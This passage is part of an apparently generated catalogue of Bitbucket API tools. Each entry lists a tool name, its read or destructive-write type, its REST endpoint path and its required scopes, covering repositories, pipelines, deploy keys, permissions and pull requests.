Pipeline Variable For Workspace via DELETE /workspaces/{workspace}/pipelines-config/variables/{variable_uuid} DELETE /api/v1/bitbucket/workspaces/{workspace}/pipelines-config/variables/{variable_uuid}. Scopes: pipeline:variable. bitbucket_delete_workspaces_by_workspace_projects_by_project_key (write, destructive) — Delete workspaces projects by workspace, project key via DELETE /workspaces/{workspace}/projects/{project_key} DELETE /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}. Scopes: project:admin. bitbucket_delete_workspaces_by_workspace_projects_by_project_key_default_reviewers_by_selected_user (write, destructive) — Delete workspaces projects default reviewers by workspace, project key, selected user via DELETE /workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user} DELETE /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/default-reviewers/{selected_user}. Scopes: project:admin. bitbucket_delete_workspaces_by_workspace_projects_by_project_key_deploy_keys_by_key_id (write, destructive) — Delete workspaces projects deploy keys by workspace, project key, key id via DELETE /workspaces/{workspace}/projects/{project_key}/deploy-keys/{key_id} DELETE /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/deploy-keys/{key_id}. Scopes: project, project:admin. bitbucket_delete_workspaces_by_workspace_projects_by_project_key_permissions_config_groups_by_group_slug (write, destructive) — Delete workspaces projects permissions config groups by workspace, project key, group slug via DELETE /workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug} DELETE /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/groups/{group_slug}. Scopes: project:admin. bitbucket_delete_workspaces_by_workspace_projects_by_project_key_permissions_config_users_by_selected_user_id (write, destructive) — Delete workspaces projects permissions config users by workspace, project key, selected user id via DELETE /workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id} DELETE /api/v1/bitbucket/workspaces/{workspace}/projects/{project_key}/permissions-config/users/{selected_user_id}. Scopes: project:admin. bitbucket_get_addon_by_addon_key_client_key (read) — Get add-on client key by addon key via GET /addon/{addon_key}/client-key GET /api/v1/bitbucket/addon/{addon_key}/client-key. Scopes: none. bitbucket_get_hook_events (read) — Get hook events via GET /hook_events GET /api/v1/bitbucket/hook_events. Scopes: none. bitbucket_get_hook_events_by_subject_type (read) — Get hook events by subject type via GET /hook_events/{subject_type} GET /api/v1/bitbucket/hook_events/{subject_type}. Scopes: none. bitbucket_get_repositories (read) — Get repositories via GET /repositories GET /api/v1/bitbucket/repositories. Scopes: repository. bitbucket_get_repositories_by_workspace (read) — Get repositories by workspace via GET /repositories/{workspace} GET /api/v1/bitbucket/repositories/{workspace}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug (read) — Get repositories by workspace, repo slug via GET /repositories/{workspace}/{repo_slug} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_branch_restrictions (read) — Get repositories branch restrictions by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/branch-restrictions GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branch-restrictions. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_branch_restrictions_by_id (read) — Get repositories branch restrictions by workspace, repo slug, id via GET /repositories/{workspace}/{repo_slug}/branch-restrictions/{id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branch-restrictions/{id}. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_branching_model (read) — Get repositories branching model by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/branching-model GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branching-model. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_branching_model_settings (read) — Get repositories branching model settings by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/branching-model/settings GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/branching-model/settings. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit (read) — Get repositories commit by workspace, repo slug, commit via GET /repositories/{workspace}/{repo_slug}/commit/{commit} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_comments (read) — Get repositories commit comments by workspace, repo slug, commit via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/comments GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/comments. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_comments_by_comment_id (read) — Get repositories commit comments by workspace, repo slug, commit, comment id via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/comments/{comment_id}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_properties_by_app_key_by_property_name (read) — Get Commit Hosted Property Value via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_pullrequests (read) — Get Pullrequests For Commit via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/pullrequests GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/pullrequests. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_reports (read) — Get Reports For Commit via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/reports GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid (read) — Get Report via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid_annotations (read) — Get Annotations For Report via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_reports_by_reportid_annotations_by_annotationid (read) — Get Annotation via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/reports/{reportId}/annotations/{annotationId}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_statuses (read) — Get repositories commit statuses by workspace, repo slug, commit via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/statuses GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/statuses. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commit_by_commit_statuses_build_by_key (read) — Get repositories commit statuses build by workspace, repo slug, commit, key via GET /repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build/{key} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commit/{commit}/statuses/build/{key}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commits (read) — Get repositories commits by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/commits GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commits. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_commits_by_revision (read) — Get repositories commits by workspace, repo slug, revision via GET /repositories/{workspace}/{repo_slug}/commits/{revision} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/commits/{revision}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_default_reviewers (read) — Get repositories default reviewers by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/default-reviewers GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/default-reviewers. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_default_reviewers_by_target_username (read) — Get repositories default reviewers by workspace, repo slug, target username via GET /repositories/{workspace}/{repo_slug}/default-reviewers/{target_username} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/default-reviewers/{target_username}. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_deploy_keys (read) — Get repositories deploy keys by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/deploy-keys GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deploy-keys. Scopes: repository, repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_deploy_keys_by_key_id (read) — Get repositories deploy keys by workspace, repo slug, key id via GET /repositories/{workspace}/{repo_slug}/deploy-keys/{key_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deploy-keys/{key_id}. Scopes: repository, repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_deployments (read) — Get Deployments For Repository via GET /repositories/{workspace}/{repo_slug}/deployments GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_deployments_by_deployment_uuid (read) — Get Deployment For Repository via GET /repositories/{workspace}/{repo_slug}/deployments/{deployment_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments/{deployment_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_deployments_config_environments_by_environment_uuid_variables (read) — Get Deployment Variables via GET /repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/deployments_config/environments/{environment_uuid}/variables. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_diff_by_spec (read) — Get repositories diff by workspace, repo slug, spec via GET /repositories/{workspace}/{repo_slug}/diff/{spec} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/diff/{spec}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_diffstat_by_spec (read) — Get repositories diff stat by workspace, repo slug, spec via GET /repositories/{workspace}/{repo_slug}/diffstat/{spec} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/diffstat/{spec}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_downloads (read) — Get repositories downloads by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/downloads GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/downloads. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_downloads_by_filename (read) — Get repositories downloads by workspace, repo slug, filename via GET /repositories/{workspace}/{repo_slug}/downloads/{filename} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/downloads/{filename}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_effective_branching_model (read) — Get repositories effective branching model by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/effective-branching-model GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/effective-branching-model. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_effective_default_reviewers (read) — Get repositories effective default reviewers by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/effective-default-reviewers GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/effective-default-reviewers. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_environments (read) — Get Environments For Repository via GET /repositories/{workspace}/{repo_slug}/environments GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/environments. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_environments_by_environment_uuid (read) — Get Environment For Repository via GET /repositories/{workspace}/{repo_slug}/environments/{environment_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/environments/{environment_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_file_conflicts_by_spec (read) — Get repositories file conflicts by workspace, repo slug, spec via GET /repositories/{workspace}/{repo_slug}/file-conflicts/{spec} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/file-conflicts/{spec}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_filehistory_by_commit_by_path (read) — Get repositories file history by workspace, repo slug, commit, path via GET /repositories/{workspace}/{repo_slug}/filehistory/{commit}/{path} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/filehistory/{commit}/{path}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_forks (read) — Get repositories forks by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/forks GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/forks. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_hooks (read) — Get repositories hooks by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/hooks GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/hooks. Scopes: webhook. bitbucket_get_repositories_by_workspace_by_repo_slug_hooks_by_uid (read) — Get repositories hooks by workspace, repo slug, uid via GET /repositories/{workspace}/{repo_slug}/hooks/{uid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/hooks/{uid}. Scopes: webhook. bitbucket_get_repositories_by_workspace_by_repo_slug_merge_base_by_revspec (read) — Get repositories merge base by workspace, repo slug, rev spec via GET /repositories/{workspace}/{repo_slug}/merge-base/{revspec} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/merge-base/{revspec}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_override_settings (read) — Get repositories override settings by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/override-settings GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/override-settings. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_patch_by_spec (read) — Get repositories patch by workspace, repo slug, spec via GET /repositories/{workspace}/{repo_slug}/patch/{spec} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/patch/{spec}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_permissions_config_groups (read) — Get repositories permissions config groups by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/permissions-config/groups GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/groups. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_permissions_config_groups_by_group_slug (read) — Get repositories permissions config groups by workspace, repo slug, group slug via GET /repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/groups/{group_slug}. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_permissions_config_users (read) — Get repositories permissions config users by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/permissions-config/users GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/users. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_permissions_config_users_by_selected_user_id (read) — Get repositories permissions config users by workspace, repo slug, selected user id via GET /repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/permissions-config/users/{selected_user_id}. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines (read) — Get Pipelines For Repository via GET /repositories/{workspace}/{repo_slug}/pipelines GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid (read) — Get Pipeline For Repository via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps (read) — Get Pipeline Steps For Repository via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid (read) — Get Pipeline Step For Repository via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid_log (read) — Get Pipeline Step Log For Repository via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/log GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/log. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid_logs_by_log_uuid (read) — Get Pipeline Container Log via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/logs/{log_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/logs/{log_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid_test_reports (read) — Get Pipeline Test Reports via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid_test_reports_test_cases (read) — Get Pipeline Test Report Test Cases via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports/test_cases GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports/test_cases. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_by_pipeline_uuid_steps_by_step_uuid_test_reports_test_cases_by_test_case_uuid_test_case_reasons (read) — Get Pipeline Test Report Test Case Reasons via GET /repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports/test_cases/{test_case_uuid}/test_case_reasons GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines/{pipeline_uuid}/steps/{step_uuid}/test_reports/test_cases/{test_case_uuid}/test_case_reasons. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config (read) — Get Repository Pipeline Config via GET /repositories/{workspace}/{repo_slug}/pipelines_config GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config. Scopes: repository:admin. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_caches (read) — Get Repository Pipeline Caches via GET /repositories/{workspace}/{repo_slug}/pipelines-config/caches GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/caches. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_caches_by_cache_uuid_content_uri (read) — Get Repository Pipeline Cache Content URI via GET /repositories/{workspace}/{repo_slug}/pipelines-config/caches/{cache_uuid}/content-uri GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/caches/{cache_uuid}/content-uri. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_runners (read) — Get Repository Runners via GET /repositories/{workspace}/{repo_slug}/pipelines-config/runners GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/runners. Scopes: runner. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_runners_by_runner_uuid (read) — Get Repository Runner via GET /repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines-config/runners/{runner_uuid}. Scopes: runner. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_schedules (read) — Get Repository Pipeline Schedules via GET /repositories/{workspace}/{repo_slug}/pipelines_config/schedules GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_schedules_by_schedule_uuid (read) — Get Repository Pipeline Schedule via GET /repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_schedules_by_schedule_uuid_executions (read) — Get Repository Pipeline Schedule Executions via GET /repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid}/executions GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/schedules/{schedule_uuid}/executions. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_key_pair (read) — Get Repository Pipeline Ssh Key Pair via GET /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/key_pair. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_known_hosts (read) — Get Repository Pipeline Known Hosts via GET /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_ssh_known_hosts_by_known_host_uuid (read) — Get Repository Pipeline Known Host via GET /repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/ssh/known_hosts/{known_host_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_variables (read) — Get Repository Pipeline Variables via GET /repositories/{workspace}/{repo_slug}/pipelines_config/variables GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/variables. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_pipelines_config_variables_by_variable_uuid (read) — Get Repository Pipeline Variable via GET /repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pipelines_config/variables/{variable_uuid}. Scopes: pipeline. bitbucket_get_repositories_by_workspace_by_repo_slug_properties_by_app_key_by_property_name (read) — Get Repository Hosted Property Value via GET /repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests (read) — Get repositories pull requests by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/pullrequests GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_activity (read) — Get repositories pull requests activity by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/pullrequests/activity GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/activity. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id (read) — Get repositories pull requests by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_activity (read) — Get repositories pull requests activity by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/activity GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/activity. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments (read) — Get repositories pull requests comments by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_comments_by_comment_id (read) — Get repositories pull requests comments by workspace, repo slug, pull request id, comment id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/comments/{comment_id}. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_commits (read) — Get repositories pull requests commits by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/commits GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/commits. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_conflicts (read) — Get repositories pull requests conflicts by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/conflicts GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/conflicts. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_diff (read) — Get repositories pull requests diff by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/diff GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/diff. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_diffstat (read) — Get repositories pull requests diff stat by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/diffstat GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/diffstat. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_merge_task_status_by_task_id (read) — Get repositories pull requests merge task status by workspace, repo slug, pull request id, task id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/merge/task-status/{task_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/merge/task-status/{task_id}. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_patch (read) — Get repositories pull requests patch by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/patch GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/patch. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_statuses (read) — Get repositories pull requests statuses by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/statuses GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/statuses. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_tasks (read) — Get repositories pull requests tasks by workspace, repo slug, pull request id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pull_request_id_tasks_by_task_id (read) — Get repositories pull requests tasks by workspace, repo slug, pull request id, task id via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pull_request_id}/tasks/{task_id}. Scopes: pullrequest. bitbucket_get_repositories_by_workspace_by_repo_slug_pullrequests_by_pullrequest_id_properties_by_app_key_by_property_name (read) — Get Pull Request Hosted Property Value via GET /repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/pullrequests/{pullrequest_id}/properties/{app_key}/{property_name}. Scopes: none. bitbucket_get_repositories_by_workspace_by_repo_slug_refs (read) — Get repositories refs by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/refs GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_refs_branches (read) — Get repositories refs branches by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/refs/branches GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/branches. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_refs_branches_by_name (read) — Get repositories refs branches by workspace, repo slug, name via GET /repositories/{workspace}/{repo_slug}/refs/branches/{name} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/branches/{name}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_refs_tags (read) — Get repositories refs tags by workspace, repo slug via GET /repositories/{workspace}/{repo_slug}/refs/tags GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/tags. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_refs_tags_by_name (read) — Get repositories refs tags by workspace, repo slug, name via GET /repositories/{workspace}/{repo_slug}/refs/tags/{name} GET /api/v1/bitbucket/repositories/{workspace}/{repo_slug}/refs/tags/{name}. Scopes: repository. bitbucket_get_repositories_by_workspace_by_repo_slug_src (read) — Get 